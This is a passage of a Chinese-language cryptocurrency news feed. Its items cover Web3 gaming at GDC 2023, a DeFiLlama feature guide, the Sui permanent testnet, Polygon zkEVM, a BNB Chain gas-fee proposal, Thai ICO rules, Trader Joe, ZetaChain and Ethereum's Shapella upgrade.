机制，打造一款结合篮球、曲棍球等多种运动的快节奏比赛。 以Oculus Quest 2上的VR机甲游戏《World of Mechs》而闻名的 Studio 369，正着手开发 Web3中第一款开放世界的机械化格斗游戏《MetalCore》，与Immutable合作旨在进一步优化其Web3策略并获得技术方面支持。为顺利进行该游戏的开发，Studio 369于年三月完成了1500万美元的融资，投资者包括Bitkraft Ventures、Immutable等。在游戏中，玩家将在矿产丰富的外星球上，通过赢取车辆和机器、制作装备、招募飞行员、开发土地、出售和交易他们的装备等方式，进行外星领土争夺战。在去年年底，该游戏获得了GAM32022 最佳射击游戏奖。 Wemade分享转型生意经 在GDC大会上，WeMade着重展示了其WEMIX PLAY平台，并围绕它举行了三场会议。WEMIX PLAY采用包括 Tokenomics、GameFi、Marketplace 和 Community 在内的“四大模块系统”，满足各种游戏类型和平台的需求，提供了将传统游戏转变为区块链游戏的全面解决方案。据WeMade称，目前约有 50 万人正在使用该平台。 相关阅读：《WeMade打造链游生态WeMIX，是再造新“传奇”还是谋划新“骗局”》 WeMade首席执行官Henry Chang就游戏的未来以及区块链技济和游戏的影响发表了主题演讲。讨论了其成功推出 25 款以上的 Web3 游戏、平台的优势以及服务区块链游戏的诀窍。他表示所有游戏最终都会发行自己的代币和 NFT，从而通过区块链技术和代币经济学提升游戏可玩度。不过他也强调，“靠玩赚钱的游戏”不会获得长久的成功，因为它们缺乏具有吸引力的游戏玩法和可持续性；相反，将代币经济学融入本就受到玩家喜爱的游戏中，才是让区块链游戏实现繁荣的关键。 WeMade执行副总裁 Wonil Suh（简称 Won）深入探讨了 Web3 游戏中代币经济学的演变，详细介绍了从低质量并强制性应用NFT的第一代游戏，到具有良好游戏性和更平衡的游戏内经济的第三代游戏的转变过程。他向游戏开发商强调，要谨慎对待只依赖销售NFT的商业模式，因为不仅竞争对手将会轻松发起挑战，更有经验的游戏玩家也不会再轻易买账。Won还分享了从 WeMade 的 Web3 游戏中学到的五个重要经验教训：漂亮的代币曲线十分稀少；供应太容易会导致代币价格下降；过早限制供应会损害玩家兴趣；监控游戏的代币经济学至关重要；再好的代币经济学也救不了要凉凉的游戏。 此外，WeMade也强调了游戏行业内协作和伙伴关系的重要性。他认为，培养社区意识并与其他开发人员、平台和利益相关者一起工作，可带来创新的解决方案并进一步发展 Web3 游戏领域。 Com2uSUSA总裁Kyu Lee在GDC上主持了一场关于可持续代币经济学的会议，分享了对“Play-to-Own (P2O)” 的有关见解，并介绍了将如何为《Summoners War: Chronicles 》构建稳定、增强型的代币经济学结构。 《Summoners War: Chronicles》是一款奇幻RPG游戏，基于下载量超 1.8 亿次的“ Summoners War: Sky Arena“ IP。该游戏于去年8月在韩国上线，今年3月9日在全球170多个国家发行后，一周内就获得了突破100亿韩元（约765万美元）的销售额。今年7月，Chronicles的区块链游戏版本将在Com2uS自己推出的链游平台XPLA上发布。 Kyu Lee表示，现有的 Play-to-Earn (P2E) 游戏的代币经济学结构是通过简单的代币奖励系统来关注玩家的流入，它吸引了大量对游戏并不真正感兴趣的玩家。这种情况下，玩家们获得的代币不是用于进一步激活游戏内经济，而是被带离游戏，最终导致代币和游戏内货币之间的汇率崩溃。 “与 P2E 游戏不同，Play-to-Own (P2O) 模型旨在构建可持续的代币经济学。P2O 是为真正的玩家创造核心游戏内容，因此他们可以通过花费时间和精力来生产有价值的游戏内物品，然后鼓励这些物品在游戏内经济中不断循环。“他将《Summoners War: Chronicles》作为理想代币经济学的例子，并表示这款游戏将是第一个将 AAA 游戏链接到区块链主网的成功案例，并将成为”可持续 Web3 游戏的里程碑”。 从GDC 2023大会可以看出，游戏行业的业内人士始终在关心Web3游戏这一领域的试验、变化与发展。但显然Web3游戏开发团队的技术力、制作水准乃至认知水平都亟待提升。无论是“Web3”还是“元宇宙”、“NFT”，这些标签本身并不能广泛激起大多数游戏玩家的兴趣，甚至由于过分注重金融属性、设计敷衍等问题，相当一部分游戏开发人员对可玩性毫不在意，而只顾钻研代币经济体系。 GDC大会上还公布了多个游戏奖项及提名，其中黑暗奇幻风动作RPG游戏《艾尔登法环》（Elden Ring）“无悬念”成为最大赢家，包揽TGA、金摇杆、DICE、GDC四大奖项。而各类奖项的提名中，Web3游戏无一入围。由此可见，回归游戏本身，Web3游戏现阶段与传统游戏相比并不具备优势，许多项目方大谈特谈的代币经济学，在无聊的游戏设计中变成了空中楼阁。 尽管目前发展水平有限，但近些年来，整个Web3行业始终对游戏赛道抱有极高的期望，这也表现在了一级市场的资金流向上：根据DappRada发布的元宇宙第一季度报告，区块链游戏和元宇宙项目在2023年第一季度中获得的资金最多，占总投资的 32.7%。 随着不同地区的多个传统游戏巨头陆续主动拥抱Web3，以及区块链基础设施公司不断迭代，构建更加适合大型游戏的底层技术。越来越多人相信，游戏很可能会成为Web3破圈的流量入口。而打开这个入口的，或许将会是一个真正优质的，能够笑傲未来某届GDC大会的游戏。 会在明后两年吗？让我们拭目以待。  ( 5 min )
    DeFilama数据功能全探索：玩转DeFi、发现Alpha，从这里开始
    原文：《重新认识 DeFilama——强大的数据工具网站》 作者：waynezhang.eth 你第一次用 DeFilama 是为了查询什么？ 我第一次是领导分配给我查询 Avalanche 生态的潜力DeFi任务。现在他已经是一个 Big Aggragator，我将通过这个 Thread 像你重新介绍它的功能 & 这些数据的使用方法 & 有趣的数据。 阅读本文您的收获会有： -详细了解DeFillama 的全部功能 -了解 DeFi 数据 & 指标：LTV, Delta 中性策略，New Listed Projects -寻找DeFi Alpha 的指标 & 方法 -如何使用相应的指标以及衍生指标 -查阅 DeFilama 的新奇数据 -数据工具网站推介 1.1DeFi-Overview -整个 DeFi 生态TVL -按照 TVL 协议排名 -可按照公链进行排名 Lido 因ETH 合并成为第一，99.2% TVL 来自于ETH 1.2DeFi-chains -各公链按TVL /协议数量/变化量/稳定币数量排名 -可按照 EVM、Non-EVM，Rollup，Cosmos，Parachain分类 TVL 7D/1M 变动值得观察，可能有链上新项目发布，DeFi 是生态基础设施，稳定币是DeFi 的基础，可以从DeFi角度观察公链发展。 1.3DeFi- Airdrops（此处的空投是指没有发币） -按照募资时间排序DeFi协议 这个数据更新的有些慢，有一定的寻找 Alpha 的能力，但不多。建议结合项目上线时间总和考虑 1.4DeFi-Treasuries -按照国库总量等进行排序，以及国库中各种代币所占比例 协议有钱 = 协议发展快？不一定 但协议有大量自身代币 = 市场流通小 or DAO可能成为代币最大抛售方 FTX 与 BIT DAO之间发生的事情值得我们从中学习，非稳定币对国库带来的风险 1.5DeFi-Oracles -利用TVS（Total Value Secured）进行排序 -各个预言机服务的协议情况 ChainLink 是该领域当之无愧的王者。但此数据不等于预言机的服务次数，数据模糊度高 1.6DeFi-Forks -查看哪些协议被复制的最多 被Fork 的基本都是龙头，建议详细调研，同时开发者可以通过此名单查看新的尝试机会 1.7DeFi-Top Protocols -查看各个公链的各个 DeFi细分领域的领头大哥 -范围包括：Liquid Staking，CDP，DEX，Lending，Yield，Bridge，Services，Algo-Stables 大公链生态中的龙头正在多链化，小/新生态中的龙头也在通过多链寻找更大的市场。 公链中缺乏的服务可能会成为新的机会，比如Canto 的CDP龙头会是谁？ 1.8DeFi-Comparison -支持选择多个协议根据时间轴进行 TVL 对比 对比LSD 这种同一个赛道的可能会有用。 这个功能可以扩展，比如对比参数变成收入，用户数，FDV等 1.9DeFi-Token Usage -可以查询 token 在 DeFi中的使用情况 这个数据应该是链上数据，且不太完全，只会显示被 DeFillama 收录的项目 意思的数据之一：有34.9亿 USTDT 在 JUSTLEND，他们用来做什么了呢？ 1.10 DeFi- Categorie -各个类别的DeFi项目的数量，TVL DeFillama将其分成了31个类别，其中协议数量在10以下的有Privacy，Oracle ，Leveraged Farming，Uncollateralized Lending，Exotic Options，RWA Lending。我认为后四个中可能有一些 Alpha 1.11DeFi- Recent -最近被收录的项目 注意这个“最近”指的是被收录而不是主网直接上线时，有一定的滞后性 1.12DeFi - Lauguage -不同编程语言占比 -按照 TVL 的语言对比 -Solana 生态开源/非开源的协议比例 如果你想了解更详细的，可以查看 @ElectricCapital 的数据网站https://www.developerreport.com/ 2.1 Yields - Pools -根据 TVL 排名的流动池顺序 -收录了 59条链上的 275 个协议中的 5327 个池子 除 BTC,ETH与稳定币，排名第十一名 GLP ，排名 十三名 GMX 均来自与 GMX 2.2 Yields-Delta Neutral -选择抵押代币，然后自动选出策略 -策略收益为计算各个策略组件的合计收益 目前该功能跟踪的池子比较少，只能起到一定的参考作用 2.3 Long-short Strats -给定一个代币，将在所有跟踪的矿池和 CEX 永续掉期市场上显示 delta 中性的“多空”策略。 -会在考虑 CEX 资金利率和 DeFi 收益率的情况下计算年化策略回报。 目前合作的 CEX 是 OKX，而去中心化平台包括 Venus，Ankr，WOOFi 等 2.4 Yields-Leveraged Lending -寻找不同杠杆借贷项目的 Loop Apy, Supply Apy 以及LTV，目前借贷情况等数据 -收录了23条链上，291个协议中的158个池 相较于其他链BNB chain的项目数量更多，且 Loop Apy 更高 2.5 Yields - Borrow -根据借贷项目的收益，LTV，供给及使用情况等进行排名 -收录了23条链上291个协议的777个流动性池 2.6 Yields -Overview -搜寻单个币种的中位 APY 以及分布情况 -可以查看某个币种在那个项目的那个池子拥有那种 APY -可视化的 APY 数据对比 可视化面板，很适合做质押数据分析报告时使用 2.7 Yield - Stablecoins Pool -收录了59条链上275个协议的422个池 -查看各个稳定币池子的TVL，APY（Base APY，Reward APY，30d Average APY） 基本高APY 都是靠项目代币的 Reward Apy 补贴的 除了以太坊上，L2 中也开始出现一些稳定币池值得关注 2.8 Yields-Halal -追踪59条链上的36个协议的5273个池子 -简单交换DEX，单产农业，流动性质押，桥接LPs -如何理解Halal（清真），个人觉得就是简单、安全点的池子 Arrakis Finance 的 DAI-USDC TVL $280.75M,且暂时未发币，目前收益仅有 Base Reward，暂未发币 3.DeFilama Swap-Meta-Aggregator -通过聚合多个聚合器，提供最佳交易路径查询，且可以直接交易 -会计算出交易结果以及各种费用成本 -可以自定义滑点 有些聚合器提供折扣，如果不嫌弃麻烦可以在这选好交易路由，再去相应的聚合器看看能不能拿折扣 4.Borrow Aggragator -给定一个用于抵押的代币和一个用于借贷的代币，该计算器将查看所有借贷协议 -计算每一个借款的成本，同时考虑激励、供应 APR 和借入 APR， -提供所有可能的借贷途径、成本和 LTV 的列表 5.CEX Transparency -中心化交易所资产的流入，流出，净资产等数据列表 目前 OKX 一月内处在净流入（$241.63M），而Binane一月处于净流出，目前已流出$2.07B 从目前来看，TOP5 净流出并没有全部流入TOP10净流入 CEX，现在可能有1.5B+资产放在链上 请注意在熊市净流入的CEX，或许值得关注 6.Liquidation -查看各条链上的各个协议的清算总额 -下跌20%的清算总额情况 -查看100个最大头寸的清算情况 TOP 10的最高清算价格（ETH/USD）是$1,088.017，TOP 12 & TOP 15 分别是 $1290左右，比较特殊的TOP 18是$1547. 7.Volumes - Overview/Chains/Options -Dexs 交易量日/周/月排名 -按照链进行交易量排名，以及变化量，TVL，市场份额，累计交易量 -期权交易量排名，变化量，TVL，市场份额，累计交易量（数据存在缺陷） 目前期权市场，Lyra 交易量占据已经统计数据的56%+，绝对领导者地位 8.Fee & Revenue -按照收入和费用进行排名的项目列表 Top 50 收入中收入排名品类分别是：Chain/Rollup（卖区块空间），DEX（手续费），流动性质押（奖励费用），期权/期货/借贷交易，NFT 市场/借贷，CDP，Synthetics，Oracle 一个有趣的现象，FDV 百亿，几十亿的项目，收入只有几百万美金，且大部分收益到不了 Holders手里 9.1Raised-Overview -按照时间排序的融资时间 -融资规模，轮数，介绍，估值，领投及参投情况 9.2 Raises - Active investors -按照30天内出手次数排序 -投资项目情况 10. Stables-Overview -各个稳定币的挂钩情况，部署情况，以及变化情况 1B 以上有6个，USDT,USDC 的地位暂时无人撼动 目前仅DeFilama 收录的稳定币就有 97个 市场主流还是美元稳定币，但已经出现了一些欧元稳定币 11.Stable-chains -按照公链上的稳定币规模进行排序 -各个链上的稳定币项目寡头，稳定币/TVL 占比，桥接数量 12.Hacks -收录各个黑客攻击事件的时间，原因，规模，以及事件报告情况 其实很多都是因为协议逻辑情况，但恰恰大部分项目其实都审计过，只有少部分是新功能上线时没有及时审计，我认为去中心化保险或许是一个潜力点，但如何避免团队自黑也是一个挑战 13.ETH Liquid Staking -质押项目数量以及 LSD 情况，APR 等 Lido 处在决定领导地位，但unshETH 成立7天+，已经有 86.05 ETH 存入 Hord 的APR 能达到35.11%，数额高的吓人 DeFilama 提供的一些有趣的小工具： -roundup - 由DeFilama 整理的各种信息、新闻汇总 -Trending Contracts：查询过去某段时间的合约交互情况（默认60分钟，我尝试了1分钟时间，但刷新不出来） -Token Liquidity：查询代币之间的流动性深度 除了 DeFillama还有一些很棒的网站值得推介：  ( 7 min )
    Sui Network发布的永久测试网，在生态中扮演什么角色？
    原文：SUI Foundation 编译：SUI World 今天，Sui Network 在官方推特上宣布推出永久测试网，这是一个长期运行、去中心化和无需许可的测试网，与过去的Waves 1和Waves 2测试网不同，这个新的测试网即使在主网启动后也会继续运行。通过这个永久测试网，SUI Network 将会给社区带来许多重要的功能更新。 动态验证者集：满足足够权益要求的候选验证者可以在 epoch 边界加入网络，活跃的验证者可以在 epoch 边界离开网络，这个验证者访问模型真正实现了无需许可。 支持协议软件和 Sui 框架升级：与 Devnet 不同，Testnet 不会在每次软件更新时被删除（除非有特殊原因），在 Testnet 上任何软件更新或数据删除之前，社区将得到通知。 从数据库快照恢复全节点：节点运行者可以利用检查点快速启动全节点，而不是等待全节点同步。 地址和签名更新：账户地址、对象 ID 和交易 ID 从 20 字节升级到 32 字节，以防止哈希冲突。此外，Sui 的默认哈希函数现在是 Blake2b 而不是 SHA3，因为 Blake2b的性能更高。为了支持广泛的交易规模，签名现在应用于哈希摘要而不是序列化的 BCS 数据，这使得 Sui 与硬件钱包兼容，硬件钱包的签名者 API 通常允许有限大小的输入。 为了实现让 Sui 成为公链中开发者最友好平台的愿望，Sui 将这次的永久测试网视为 Sui DevX 1.0 的最早化身，其中汇集了许多核心开发人员原语和语义： 1）整个SUI 发展过程中，开发者和建设者反馈的汇集； 2）开发人员效率的基础元素将继续细化； 3）设计的目的是实现一个去中心化但不碎片化的SUI 生态系统 1）可编程交易块 https://docs.sui.io/build/prog-trans-ts-sdk 这种强大的结构可以将一系列交易——splitCoin mergeCoins transferObjects moveCall makeMoveVec publish——链接在一起，以创建一个特别适合应用程序需求的自定义原子交易块。由于 moveCall 可以指定任何现有的链上功能，可编程交易块本质上提供了临时交易组合，极大的增强了 Sui Move 编程模型的通用性。 可编程交易块还简化了GAS Coin 对象管理，因为应用程序可以传入GAS Coin 对象 向量并在可编程交易块内执行 Coin 拆分/合并，而不必在提交前执行 Coin 选择。 2）赞助交易和gas station https://docs.sui.io/learn/sponsored-transactions 虽然自SUI 0.27 版以来就支持赞助交易，现在 Shinami 的gas station https://github.com/MystenLabs/sui/releases/tag/devnet-0.27.0 可以与 Sui 的永久测试网一起使用！ 3）对象显示标准 https://docs.sui.io/build/sui-object-display 一组命名模板标准化了相同类型对象的链下显示，Sui 浏览器和 Sui 钱包现在都支持对象显示标准，Sui API 和 Typescript/Rust SDK 也支持对象显示标准。这是一项来自 Sui 社区的大量想法和头脑风暴的共同努力——特别要感谢 Capsules 和 OriginByte 以及他们对这个标准的投入。 4）Kiosk Standard https://github.com/MystenLabs/sui/blob/main/crates/sui-framework/docs/kiosk.md Kiosk 是一种功能强大的新原语，支持列出待售对象并在对象售出时强制执行创建者定义的版税政策。Object Display 和 Kiosk 的结合填补了人们在 Sui 上构建收藏品和交易平台的两个关键空白。我们鼓励生态系统钱包、浏览器和市场探索对象显示标准和 Kiosk 标准，以实现整个生态系统的无缝兼容性。 5）RPC 改造 现在有更多基于聚合的 RPC get* 方法：getEpoch、getNetworkMetrics、getMoveCallMetrics、queryObjects。JSON RPC 批处理请求已弃用，取而代之的是 MultiGet* 方法。系统事件已弃用，取而代之的是交易响应中的专用字段。最后，一些遗留的 RPC 方法（标有 unsafe_*）被弃用，取而代之的是可编程交易块。 6）零知识证明 现在有 Move API 支持使用 BN254 椭圆曲线和 BLS12-381（两种最广泛使用的曲线）验证 Groth16 ZKP。这提供了 Sui 智能合约中的计算证明，并支持隐私保护应用程序。 7）两种粒度的时间戳 https://docs.sui.io/build/move/time 一个细粒度的Clock模块，支持近实时应用程序的2-3秒粒度，以及一个粗粒度的Epoch时间戳。 8）Move Package Upgrade 这是开发者升级他们Move 智能合约和导入相关包的基本功能，移动包升级将与下一次软件更新一起在测试网上可用（暂定在4月的第一周），请保持关注！ 除了使用Devnet和Testnet，我们还鼓励构建者使用本地环境进行初始开发和更快的迭代。sui-test-validator二进制文件已得到改进，以帮助本地开发。 下表描述了截至本文发布之日，Devnet 和永久测试网之间不同的网络特征。  ( 5 min )
    Polygon：Polygon zkEVM不会单独发币，预计MATIC将用于其中的质押和治理
    PANews 3月30日消息，Polygon在其官方文档更新Polygon zkEVM相关的常见问题。其中指出，Polygon zkEVM主网将不会发行单独的代币，ETH 将用于支付网络gas费，预计未来MATIC将用于Polygon zkEVM中的质押和治理。 此外，由于Polygon zkEVM通过ERC-4337支持帐户抽象，这将允许用户使用任何代币支付费用。  ( 4 min )
    BNB Chain降低GAS费提案背后：Layer2扩张迅速，BNB社区急了
    来源： BNBchain forum   作者：ArnoB 编译：Katie 辜 作为一个区块链用户，我观察到在 BNB 智能链（BSC）上需要一个适应性更强的交易费用分配结构。这个提案的目的是证明拥有更灵活的交易费用结构的重要性，确保区块的有效利用，并吸引新用户。这种方法将有助于维持 BNB 经济，提高 BSC 的市场地位，特别是在路线图中观察到的多链策略中。 目前，L2 解决方案正变得越来越主流，与 BSC 的 L1 费用相比，L2 解决方案为用户提供更便宜的交易费用。随着 L2 解决方案越来越受欢迎，BSC 网络保持其市场份额的竞争压力越来越大。BSC 交易成本目前设定在相对较高的固定费率 5 gwei，这可能不像 BSC 生态系统以外的 L2 解决方案提供的更实惠的费用那样吸引用户。这将确保现有和未来的 BNB Chain L2 解决方案保持竞争力，并在生态系统中留住有吸引力的用户。 在过去的 6 个月里，网络的关键测量值趋于平稳，造成了网络利用率不足的情况，利用率在 15-20% 之间变化。为了防止不“落后”于快速增长的 L2 解决方案，BSC 验证者应该认识到重新评估其当前交易费用结构的紧迫性。我坚信调整费用以提高成本效益可以帮助 BSC 保持其市场地位，并吸引用户寻找更实惠、更高效的区块链解决方案。 以下是我已经创建的一些模拟例子来展示可能的上涨情况和调整交易费用后的优势。 BSC 操作参数： 每日区块数量： 28, 800  Gas 限值： 140 M 如你所见，在我们调整 Gas 价格时，网络利用率会对整体回报产生很大影响： 在 Gas 价格为 5 gWei ，区块容量为 20% 的条件下 ： 28, 800 * ( 140 M* 20% ) * 5 gWei = 4, 032 BNB/天 在 Gas 价格为 3 gWei ，区块容量为 33% 的条件下 ： 28, 800 * ( 140 M* 33% ) * 3 gWei = 4, 032 BNB /天 在 Gas 价格为 2 gWei ，区块容量为 50% 的条件下： 28, 800 * ( 140 M* 50% ) * 2 gWei = 4, 032 BNB /天 在 Gas 价格为 2 gWei ，区块容量为 80% 的条件下： 28, 800 * ( 140 M* 80% ) * 2 gWei = 6, 451 BNB /天 我建议 BSC 验证者对交易费用采取更灵活的方法，使用户能够选择低于当前 5 gwei 费率的费用，并根据他们的经济需求选择低至 3 或 4 gwei 的费用。 这一变化将使 BSC L1 比其他生态系统的L2解决方案更具吸引力，并为潜在的 BSC L2 解决方案提供竞争优势（BSC L2 的目标应小于 0.005 $/tx）。此外，即将推出的 Greenfield 去中心化数据存储系统将吸引新用户，并为 BSC 带来新的流量。 此外，BSC 上的高交易量仍将为 BSC 验证者提供巨大价值，从而为参与的验证者提供强大经济激励保障。这种方法将带来以下好处： 增强可持续性：使项目更具可持续性，并为新项目迁移到 BSC 提供强有力的经济激励。较低的交易费用将有助于在交易量较低的时期维持区块链经济。 吸引新用户：在具有高吞吐量利用率的L1上提供更低的费用，将吸引新用户进入 BSC 生态系统，促进增长并提高 BSC 的市场地位。 优化区块利用率：通过吸引新用户，验证者可以更好地利用每个区块的容量，并增加他们的整体奖励。 验证者为了维持目标投资回报率，可以考虑提高他们从验证者的收益中获得的佣金率。通过实施这一提案，BSC L1 和 L2 都将从提高竞争力和市场适应性中受益，为整个生态系统创造双赢的解决方案。 总之，该提案强调了在 BNB 智能链（BSC）上采用更灵活和适应性更强的交易费用结构的重要性，目的是提高与 Layer 2  解决方案竞争的能力并吸引新用户。通过允许用户选择低于当前 5 gwei 费率的交易费用，BSC 可以为验证者提供强大的经济激励，并促进可持续的生态系统。这种方法将增强可持续性，吸引新用户，并优化区块利用率，最终使 BSC L1 和 BSC L2 都受益。实施这些变化将确保 BSC 生态系统在竞争日益激烈的市场中持续增长和保持竞争力。  ( 5 min )
    泰国SEC考虑取消针对散户投资者的30万泰铢IC0投资限额
    PANews 3月30日消息，据Finance Magnates报道，泰国证券交易委员会 (SEC) 正在考虑取消首次代币发行 (IC0) 的300,000泰铢（约合8,800 美元）零售投资限额，以刺激对数字代币的投资。SEC将对此举行公开听证会，直至4月27日。根据目前的规定，散户投资者只能通过IC0向一个项目投资不超过30万泰铢。 泰国监管机构表示：“该法规的修订旨在加强对数字资产运营的有效监控，并降低可能影响投资者、数字资产运营商和市场的风险。提高散户投资者IC0限制的举措将允许更多散户投资，从而增加他们的风险敞口。”  ( 4 min )
    ARB空投后，DEX平台Trader Joe为何能脱颖而出？
    作者：@0xTindorr, 加密KOL 编译：Felix, PANews ARB空投证明了@traderjoe_xyz发明的“流动性账簿”非常有效。吸引了约1600万美元的流动性，并在一周内从1亿多美元的交易量中产生了巨额交易费用。 自从Trader Joe在AVAX上发布以来，团队中充满了建设者，不断开发并交付新功能。令人欣慰的是，Trader Joe的流动性账簿做得很好。Degen chads（愿意承担高风险高回报的投资者）应该从这篇文章中认识到Trader Joe的全部潜力。 通常在币安交易中看到“订单簿”(Order Book)，用户设定一个订单，以特定的价格买入或卖出。而用户在Trader Joe上，则可以在他们喜欢的价格范围内提供流动性，被称为“流动性帐簿”。 流动性帐簿使用了Bins（箱）设计，将箱子组合成一个整体，汇总了所有的流动性。（注：Trader Joe对流动性进行分组，将资产对的流动性安排在不同的箱子中，每个箱都有一个特定的价格，用户能够同时为多个箱提供流动性。） 例如，ARB/USDC 池为 1 ARB = $1.14827： 剩下的该项资产之后会移动到最近的箱，左边或者右边。 用户选择要将流动性提供到哪个箱中，可以根据以下因素： 流动性帐簿作为全新的架构，还能实现： 用户可以使用流动性帐簿做任何想做的事情。 举一个例子：如何使用ARB/USDC资产对提供流动性，并获得收益。 正如之前所说，@0xTindorr相信ARB最终会再次上涨。 因此，像这样设置箱子（忽略箱子价格）可以帮助用户在选择价格时赚取费用。 用户需要打开： （关于策略的选择，推荐阅读JX推文：添加Trader Joe流动性的六种常用方式） 3.潜力 Trader Joe上的TVL在过去7天内飙升了256%，成为Arbitrum上最近增长最快的协议之一。 而且，Trader Joe在ARB池子里提供了很好的APR。 这次ARB空投让很多用户意识到流动性账簿的潜力，以及未来可以在新代币发行中做更多的事情。预计Trader Joe会有更多的流动性进入协议，并最终在Arbitrum上的TVL进入前10名。 相关阅读：《解读Trader Joe的Liquidity Book协议：让LP流动性离散化的AMM解决方案》  ( 4 min )
    项目研报丨Omnichain创新者ZetaChain：采用原生DVT的新型Layer1公链
    跨链赛道一直是区块链领域关注的重点之一。其中，Omnichain 被许多人认为是跨链的未来。越来越多的项目希望将 Omnichain 功能加入其应用场景中，以在 DeFi 世界中获取更多流动性和互操作性。本篇报告我们将带大家了解什么是 Omnichain，并详细地介绍 Omnichain 基础设施网络：ZetaChain，为大家带来最全面的项目解析！ 本文与 ZetaChain 合作推出 在本篇报告中，我们将详细介绍 ZetaChain 的跨链机制，并将现有跨链技术与 ZetaChain 的 Omnichain 功能进行详细对比，引导读者深入了解 ZetaChain。在阅读这篇报告后，我们希望读者能解决以下疑问：ZetaChain 是什么？与其他跨链项目相比，ZetaChain 在技术上有何关键创新？ZetaChain 目前的生态发展情况如何？ 下面是报告中的部分要点： 通俗来说，ZetaChain 是一条公共区块链，允许人们在比特币和以太坊等不同区块链之间发送信息和转移加密资产，且无需任何中间人或额外步骤。这通过 Omnichain 功能实现，它将所有不同的区块链连接在一起，以便人们轻松地移动资产和信息。ZetaChain 还允许开发人员构建适用于所有链的去中心化应用程序，从而可以轻松地从一个地方管理所有内容。 从对比中可以看出，大部分早期跨链桥协议，如WBTC多使用【锁定/销毁 + 铸造】方案进行跨链资产传递；而较新的跨链协议，如Stargate、Synapse则大多选择了【流动性互换】方案。 根据统计，截至 2023 年 3 月 16 日，DefiLlama上 TVL 总量最高的 10 个跨链桥协议中，有 8 个协议主要使用【锁定/销毁 + 铸造】方案。仅有 Stargate 和 Synapse 两个协议单独使用【流动性互换】方案。 现有跨链桥的局限性 在【锁定+铸造】方案中，资金跨链需要使用包装资产作为原生资产的替代品才能实现资金的转移。 【流动性互换】方案则不支持非智能合约平台和链接网络内不可用的资产。 在【单方/多方验证】中，单方验证是中心化的。 在【中继器 + 轻客户端】中，第三方中继器的部署成本较高。 ZetaChain 的创新 为了解决现阶段跨链协议的弊端并实现全链跨链功能，ZetaChain 开发了一系列用于跨链资金传递和通用多链编排的工具：Omnichain 智能合约、账户以及消息传递。 此外，在验证机制方面，ZetaChain 计划结合【中继器】和【多方验证方案】，使用网络内分布式验证节点架构以及阈值签名方案 TSS 验证交易。 ZetaChain 的跨链通信功能主要靠其网络内的分布式验证节点实现。它计划利用自己网络内的验证节点代替中继器和预言机，帮助验证跨链交易信息并实现喂价功能。 ZetaChain Omnichain 账户/TSS ZetaChain 的Omnichain 账户允许用户连接包括智能合约平台、非智能合约平台在内的全部区块链网络，以实现资金的全链跨链转移。它作为交易的基站，用于管理和验证与外部链相关的交易。具体交易验证由阈值签名方案 TSS 支持。 ZetaChain Omnichain 智能合约/通信 借助 Omnichain 智能合约，开发者可以构建不同种类的Omnichain DApps（odApps）。开发者仅需通过 ZEVM 在 ZetaChain 网络上部署单个智能合约，即可连接包括 ZetaChain 本身在内的所有目标链。zEVM上的合约与ZetaChain的互操作性层相连，能够协调外部链上的资产，实现链与链之间的资产跨链转移。 ZetaChain 生态 社群 ZetaChain 目前在包括Twitter、Telegram、Discord在内的多个社交媒体上运营官方账户，支持超过 20 种语言。社群总人数超过 100 万。 针对测试网相关链上数据，ZetaChain 发布了自己的区块链浏览器，Zetascan。Zetascan 可以观测 Athens-2 测试网的运行情况，数据维度包括跨链交易数据、ZetaChain 本地交易数据、DApp 合约部署数据等。 合作伙伴 ZetaChain 与多个涉及不同领域的主要项目/协议达成了合作关系，希望通过其主要的 Omnichain 跨链技术帮助这些项目/协议解锁更多跨链用例并实现可覆盖全链的数据/资产转移。根据 ZetaChain，目前已确定将部署在 ZetaChain 上的 Omnichain DApp 包括 DEX、Identity 基础设施（Galxe）、社交协议（CyberConnect）、DAO（STP） 等。 上面是这整篇报告的部分关键内容，详细内容请查看报告全文阅读。  ( 5 min )
    以太坊主网Shapella升级官方公告：质押提款即将到来，我需要做什么？
    来源：blog.ethereum.org 作者：Protocol Support Team 翻译：Franci, ECN 在顺利完成了 Goerli 测试网 Shapella 升级之后，客户端团队计划在主网激活 Shapella 升级。在第 157 次 All Core Devs 执行层会议期间，开发者们很快就 4 月 12 日这个时间达成共识。 此次升级紧随 The Merge，使得验证者可以把他们的押金从信标链提取回执行层。它还给执行层和共识层引入新功能，请看下文。 Shapella 升级结合了对执行层 (上海升级) 和共识层 (Capella) 的修改。用于执行层和共识层通信的 Engine API 也在 Shapella 升级里有修改。 在上海升级里纳入的执行层的修改可以在这里找到。作为参考，内容如下： 请注意，EIP-6049 只是一个操作码弃用警告。客户端团队预计 SELFDESTRUCT 语义将在未来的网络升级中进行修改，但该操作码的行为在上海升级中保持不变。 此外，上海升级的全套修改现在可以在以太坊执行层规范 (EELS) 中查看，它是用于执行层的新 Python 参考实现。 Capella 升级对共识层的修改详情在 capella 目录 的 v1.3.0-rc.3 规范里。README 清单中列出了完整的更改集。从高层次来讲，这次升级引入了： 我们鼓励质押者都去阅读《提款 FAQ》，以了解更多关于验证者应该如何准备 Capella 的资讯。 对 Engine API 的修改可以在 execution-apis repository 的 shanghai.md 文档里找到。简而言之，引入了 WithdrawalV1 结构，并添加了多个相关结构和方法。自 Merge 以来对执行层 API 的更改已经打包在仓库的最新版本中。 以下的客户端版本支持在以太坊主网的 Shanghai & Capella 升级。此前的 Shapella 升级客户端版本仅支持测试网的部署，与主网升级并不兼容。 当在选择运行哪个客户端时，验证者应该特别注意在执行层和共识层运行多数客户端的风险。关于这些风险以及他们的后果可以阅读这篇文章了解更多。而如果想预估当前执行层和共识层客户端的分布，以及了解如何从一个客户端切换至另一个客户端，则可以阅读这篇文章。 共识层主网升级版本 注意：运行一个验证者时，共识层信标节点和验证者客户端都必须更新至最新版本。 执行层主网升级版本 注意：在 Erigon v2.41.0 中发现一个问题。此版本不适合 Shapella 升级。Erigon 用户应该升级到 v2.42.0。 作为一个以太坊用户或者 ETH 持有者，我需要做什么？ 简单来说，没有。 如果你使用交易所、数字钱包或硬件钱包，你不需要做任何事情，除非你的交易所或钱包提供商通知你采取额外的措施。 如果你运行自己的以太坊节点，请参阅下文。 作为一个非质押的节点运营商，我需要做什么？ 为了与主网的 Shapella 升级兼容，请将你的节点更新到上文表中所列的以太坊客户端版本。 作为一个质押者，我需要做什么？ 为了与主网的 Shapella 升级兼容，请将你的节点更新到上文表中所列的以太坊客户端版本。 我们建议你阅读《提款 FAQ》。 如果我是一个验证者或节点运行者，且不参加这次升级，会怎么样？ 如果你使用的以太坊客户端没有更新到上面列出的最新版本，一旦升级发生，你的客户端将同步到分叉前的区块链上。 